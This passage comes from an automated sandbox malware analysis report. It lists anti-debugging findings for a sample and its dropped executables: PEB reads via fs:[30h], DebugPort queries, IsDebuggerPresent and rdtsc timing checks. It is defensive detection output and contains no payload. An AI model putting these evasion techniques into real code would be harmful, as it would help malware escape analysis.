Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06800 mov eax, dword ptr fs:[00000030h] 29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06800 mov eax, dword ptr fs:[00000030h] 29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06800 mov eax, dword ptr fs:[00000030h] 29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE18800 mov eax, dword ptr fs:[00000030h] 29_2_6CE18800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEDF019 mov eax, dword ptr fs:[00000030h] 29_2_6CEDF019
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEDF019 mov eax, dword ptr fs:[00000030h] 29_2_6CEDF019
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED4015 mov eax, dword ptr fs:[00000030h] 29_2_6CED4015
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED4015 mov eax, dword ptr fs:[00000030h] 29_2_6CED4015
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F018 mov eax, dword ptr fs:[00000030h] 29_2_6CE0F018
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F018 mov eax, dword ptr fs:[00000030h] 29_2_6CE0F018
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE031E0 mov eax, dword ptr fs:[00000030h] 29_2_6CE031E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE941E8 mov eax, dword ptr fs:[00000030h] 29_2_6CE941E8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B1E1 mov eax, dword ptr fs:[00000030h] 29_2_6CE0B1E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B1E1 mov eax, dword ptr fs:[00000030h] 29_2_6CE0B1E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B1E1 mov eax, dword ptr fs:[00000030h] 29_2_6CE0B1E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED89E7 mov eax, dword ptr fs:[00000030h] 29_2_6CED89E7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE361A0 mov eax, dword ptr fs:[00000030h] 29_2_6CE361A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE361A0 mov eax, dword ptr fs:[00000030h] 29_2_6CE361A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h] 29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h] 29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h] 29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h] 29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h] 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2C182 mov eax, dword ptr fs:[00000030h] 29_2_6CE2C182
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECA189 mov eax, dword ptr fs:[00000030h] 29_2_6CECA189
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECA189 mov ecx, dword ptr fs:[00000030h] 29_2_6CECA189
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3A185 mov eax, dword ptr fs:[00000030h] 29_2_6CE3A185
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34190 mov eax, dword ptr fs:[00000030h] 29_2_6CE34190
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0519E mov eax, dword ptr fs:[00000030h] 29_2_6CE0519E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0519E mov ecx, dword ptr fs:[00000030h] 29_2_6CE0519E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8966 mov eax, dword ptr fs:[00000030h] 29_2_6CED8966
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECE962 mov eax, dword ptr fs:[00000030h] 29_2_6CECE962
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B171 mov eax, dword ptr fs:[00000030h] 29_2_6CE0B171
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B171 mov eax, dword ptr fs:[00000030h] 29_2_6CE0B171
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B944 mov eax, dword ptr fs:[00000030h] 29_2_6CE2B944
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B944 mov eax, dword ptr fs:[00000030h] 29_2_6CE2B944
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0395E mov eax, dword ptr fs:[00000030h] 29_2_6CE0395E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0395E mov eax, dword ptr fs:[00000030h] 29_2_6CE0395E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03138 mov ecx, dword ptr fs:[00000030h] 29_2_6CE03138
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3513A mov eax, dword ptr fs:[00000030h] 29_2_6CE3513A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3513A mov eax, dword ptr fs:[00000030h] 29_2_6CE3513A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09100 mov eax, dword ptr fs:[00000030h] 29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09100 mov eax, dword ptr fs:[00000030h] 29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09100 mov eax, dword ptr fs:[00000030h] 29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE10100 mov eax, dword ptr fs:[00000030h] 29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE10100 mov eax, dword ptr fs:[00000030h] 29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE10100 mov eax, dword ptr fs:[00000030h] 29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h] 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32AE4 mov eax, dword ptr fs:[00000030h] 29_2_6CE32AE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05AC0 mov eax, dword ptr fs:[00000030h] 29_2_6CE05AC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05AC0 mov eax, dword ptr fs:[00000030h] 29_2_6CE05AC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05AC0 mov eax, dword ptr fs:[00000030h] 29_2_6CE05AC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32ACB mov eax, dword ptr fs:[00000030h] 29_2_6CE32ACB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03ACA mov eax, dword ptr fs:[00000030h] 29_2_6CE03ACA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8ADD mov eax, dword ptr fs:[00000030h] 29_2_6CED8ADD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE01AA0 mov eax, dword ptr fs:[00000030h] 29_2_6CE01AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE35AA0 mov eax, dword ptr fs:[00000030h] 29_2_6CE35AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE35AA0 mov eax, dword ptr fs:[00000030h] 29_2_6CE35AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h] 29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h] 29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h] 29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h] 29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE052A5 mov eax, dword ptr fs:[00000030h] 29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE312BD mov esi, dword ptr fs:[00000030h] 29_2_6CE312BD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE312BD mov eax, dword ptr fs:[00000030h] 29_2_6CE312BD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE312BD mov eax, dword ptr fs:[00000030h] 29_2_6CE312BD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3D294 mov eax, dword ptr fs:[00000030h] 29_2_6CE3D294
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3D294 mov eax, dword ptr fs:[00000030h] 29_2_6CE3D294
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBB260 mov eax, dword ptr fs:[00000030h] 29_2_6CEBB260
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBB260 mov eax, dword ptr fs:[00000030h] 29_2_6CEBB260
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8A62 mov eax, dword ptr fs:[00000030h] 29_2_6CED8A62
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4927A mov eax, dword ptr fs:[00000030h] 29_2_6CE4927A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02240 mov ecx, dword ptr fs:[00000030h] 29_2_6CE02240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02240 mov eax, dword ptr fs:[00000030h] 29_2_6CE02240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h] 29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h] 29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h] 29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09240 mov eax, dword ptr fs:[00000030h] 29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE94248 mov eax, dword ptr fs:[00000030h] 29_2_6CE94248
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE94257 mov eax, dword ptr fs:[00000030h] 29_2_6CE94257
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04A20 mov eax, dword ptr fs:[00000030h] 29_2_6CE04A20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04A20 mov eax, dword ptr fs:[00000030h] 29_2_6CE04A20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE8EA20 mov eax, dword ptr fs:[00000030h] 29_2_6CE8EA20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE08239 mov eax, dword ptr fs:[00000030h] 29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE08239 mov eax, dword ptr fs:[00000030h] 29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE08239 mov eax, dword ptr fs:[00000030h] 29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE18A0A mov eax, dword ptr fs:[00000030h] 29_2_6CE18A0A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05210 mov eax, dword ptr fs:[00000030h] 29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05210 mov ecx, dword ptr fs:[00000030h] 29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05210 mov eax, dword ptr fs:[00000030h] 29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05210 mov eax, dword ptr fs:[00000030h] 29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE23A1C mov eax, dword ptr fs:[00000030h] 29_2_6CE23A1C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB23E3 mov ecx, dword ptr fs:[00000030h] 29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB23E3 mov ecx, dword ptr fs:[00000030h] 29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB23E3 mov eax, dword ptr fs:[00000030h] 29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE01BE9 mov eax, dword ptr fs:[00000030h] 29_2_6CE01BE9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2DBE9 mov eax, dword ptr fs:[00000030h] 29_2_6CE2DBE9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE023F6 mov eax, dword ptr fs:[00000030h] 29_2_6CE023F6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE853CA mov eax, dword ptr fs:[00000030h] 29_2_6CE853CA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE853CA mov eax, dword ptr fs:[00000030h] 29_2_6CE853CA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1BA8 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1BA8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34BAD mov eax, dword ptr fs:[00000030h] 29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34BAD mov eax, dword ptr fs:[00000030h] 29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34BAD mov eax, dword ptr fs:[00000030h] 29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED9BBE mov eax, dword ptr fs:[00000030h] 29_2_6CED9BBE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8BB6 mov eax, dword ptr fs:[00000030h] 29_2_6CED8BB6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEAEB8A mov ecx, dword ptr fs:[00000030h] 29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEAEB8A mov eax, dword ptr fs:[00000030h] 29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEAEB8A mov eax, dword ptr fs:[00000030h] 29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEAEB8A mov eax, dword ptr fs:[00000030h] 29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC138A mov eax, dword ptr fs:[00000030h] 29_2_6CEC138A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04B94 mov edi, dword ptr fs:[00000030h] 29_2_6CE04B94
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B7A mov eax, dword ptr fs:[00000030h] 29_2_6CE33B7A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B7A mov eax, dword ptr fs:[00000030h] 29_2_6CE33B7A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F340 mov eax, dword ptr fs:[00000030h] 29_2_6CE0F340
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8B58 mov eax, dword ptr fs:[00000030h] 29_2_6CED8B58
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h] 29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h] 29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h] 29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B5A mov eax, dword ptr fs:[00000030h] 29_2_6CE33B5A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE94320 mov eax, dword ptr fs:[00000030h] 29_2_6CE94320
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 mov eax, dword ptr fs:[00000030h] 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC131B mov eax, dword ptr fs:[00000030h] 29_2_6CEC131B
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E4D75E push dword ptr fs:[00000030h] 33_2_02E4D75E
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00416842 mov eax, dword ptr fs:[00000030h] 35_2_00416842
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00412AB1 mov eax, dword ptr fs:[00000030h] 35_2_00412AB1
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process queried: DebugPort
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00425060 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00425060
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00401F20 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree, 35_2_00401F20
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE36B90 rdtsc 29_2_6CE36B90
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_1_004026C8 LdrLoadDll, 3_1_004026C8
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Memory allocated: page read and write | page guard Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00422240 _memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00422240
